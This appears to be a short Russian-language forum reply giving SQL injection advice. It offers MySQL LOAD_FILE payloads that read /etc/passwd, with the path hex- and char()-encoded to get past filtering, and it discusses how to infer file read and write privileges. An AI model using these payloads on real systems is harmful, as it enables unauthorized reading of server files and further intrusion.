1)Пробуй
LOAD_FILE(0x2f6574632f706173737764) (/etc/passwd)
LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119 ,100)) (/etc/passwd)

Если не пашет значит у тебя нет привелегий на чтение значит и нету на запись...
И на юзера смотри чисто по аналогии можно предположить будут у него права или нет.

2)дай запрос который это выводит... и версию mysql.